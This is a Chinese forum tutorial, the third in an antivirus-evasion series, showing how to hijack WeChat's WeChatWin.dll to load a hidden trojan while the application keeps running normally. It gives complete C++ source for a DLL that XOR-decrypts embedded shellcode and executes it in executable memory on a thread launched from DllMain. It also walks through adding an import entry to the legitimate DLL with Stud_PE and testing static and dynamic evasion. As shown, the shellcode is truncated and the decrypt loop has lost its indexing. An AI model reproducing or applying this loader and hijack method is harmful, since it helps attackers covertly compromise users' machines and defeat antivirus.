免杀爱好者 发表于 2020-2-21 22:41:28

零基础入门学免杀(三)


零基础入门学免杀(三)

第三期在当初写第二期的时候我就想好了如何写什么,虽然K总一直催我写第三期,但是由于最近比较忙,一直在做 哎……. 所以额一直推到今天才开始写。第三期呢我考虑的是劫持dll过后让程序能够正常运行,达到更隐蔽的运行木马,由于朋友要求所以这次我拿的是微信来做的演示,制作期间遇到了很多问题,利用网上前辈的一些方法和工具行不通(可能是我太菜了),最后我下定决心以损失一次做*的时间为代价终于把它搞定了。下面我会提到我所遇到的问题,我个人不是很喜欢写东西,所以这部分我不会详细的说明,成功那一块我会细说,B话不多说了,先上车吧。


查看可劫持DLL:
这一步老规矩,使用ProcessMonitor查看程序所加载的DLL,这次不需要第一个加载,随便找一个加载的就行了,最好是当前目录






随便找了一个WeChatWin.dll,接下来就用这个dll做劫持演示

失败的例子1:

首先我想到的第一个思路是利用IDA查看WeChatWin.dll所有的函数类型,然后自己写一个test.dll,把WeChatWin.dll所有的函数移到test.dll,之后再调用WeChatWin.dll相应的函数。


可以看到有很多的函数,并且我唯一会的F5大法失效了。函数太多也不可能挨着试,并且我们要还原每个函数,工作量巨大。那么对于相对较懒的我来说这个方法行不通。PS:我这里贴一张脑图吧,测试代码我就不写了。




脑图中的WeChatWin.dll是自己写的dll
test.dll为原来的WeChatWin.dll
假设function a 是wechat启动第一个调用的函数,当然你也可以加到其他函数里



失败的例子2:
由于函数太多自己写太麻烦,我想到了利用工具自动化实现。我在网上找到了一款工具DLL_Hijacker,可以自动生成C语言文件调用原dll的所有函数


源码如图




我随便截取了一部分源码,发现确实可以调用,但是有个问题 函数命名出现了@,编译的时候会报错,根据测试,只要是原dll的函数当中带有形参的都会出现@符号,解决的方法就是用上面的办法用IDA把带有@的函数自己写一遍。这里出现带有@的函数太多显然我不回去这么做,所以此路不通…….



柳暗花明又一村:
纠结了许久,我想到了以前玩劫持免杀远控的时候用到过的一个方法:给正常程序添加一个输入表,可以用到这里。具体实现方法如下
一:新建一个执行shellcode的dll
利用第一期里面的方法二,先给shellcode进行加密,再解密运行,这里需要注意三点

执行shellcode的命令必须放在dll的主函数里“DllMain”

需要新建一个线程运行shellcode

必须有一个导出函数,函数里面的内容随意就好



代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include
"stdafx.h"

#include
<windows.h>

#include
<iostream>

#define
KEY
0x97

unsignedchar
shellcode[] =
"\x6b\x7f\x1e\x97\x97\..... "
;
//这里写加密shellcode

HANDLE
My_hThread
= NULL;

DWORDWINAPIceshi(LPVOID pParameter)

{

unsignedchar
c[
sizeof
(shellcode)];   
//获取shellcode长度

for
(
int
i =
0
; i <
sizeof
(shellcode) -
1
; i++)

{

      c = shellcode ^ KEY;
//进行解密

}

    LPVOID
Memory
=
VirtualAlloc
(NULL,
sizeof
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);



    memcpy(
Memory
, c,
sizeof
(c));



((
void
(*)())
Memory
)();

return
0
;

}

BOOL APIENTRY
DllMain
( HMODULE hModule,

                     DWORDul_reason_for_call,

                     LPVOID lpReserved

)

{



switch
(ul_reason_for_call)

{

case
DLL_PROCESS_ATTACH:
//初次调用dll的时候执行下面的

My_hThread
= ::
CreateThread
(NULL,
0
, &ceshi,
0
,
0
,
0
);
//新建线程

break
;

case
DLL_THREAD_ATTACH:

case
DLL_THREAD_DETACH:

case
DLL_PROCESS_DETACH:

break
;

}

//ceshi();

return
TRUE;

}





extern
"C"
_declspec(dllexport)
void
test()

{

int
a;

    a =
0
;

}



这段代码大概的意思就是 当dll被调用的时候就执行shellcode解密并且运行,所以必须要一个新建一个导出函数才能够调用

我用的是vs2017编译的

编译好之后我们先用loadpe看一下是否有输入表



程序没问题,接下来就是给WeChatWin.dll添加输入表,这里需要用到的工具为Stud_PE 大家自行百度下载

操作步骤:打开Stud_PE-拖入WeChatWin.dll-点击函数栏-右键添加新的输入表-DLL选择-选择函数-添加清单-加入
之后把自己的dll放到WeChatWin.dll同目录下运行微信即可。





先测试一下静态免杀效果:





动态免杀效果:
运行微信













明智之选 发表于 2020-5-6 17:44:36

优秀啊,学习学习:lol
页: [1]
查看完整版本: 零基础入门学免杀(三)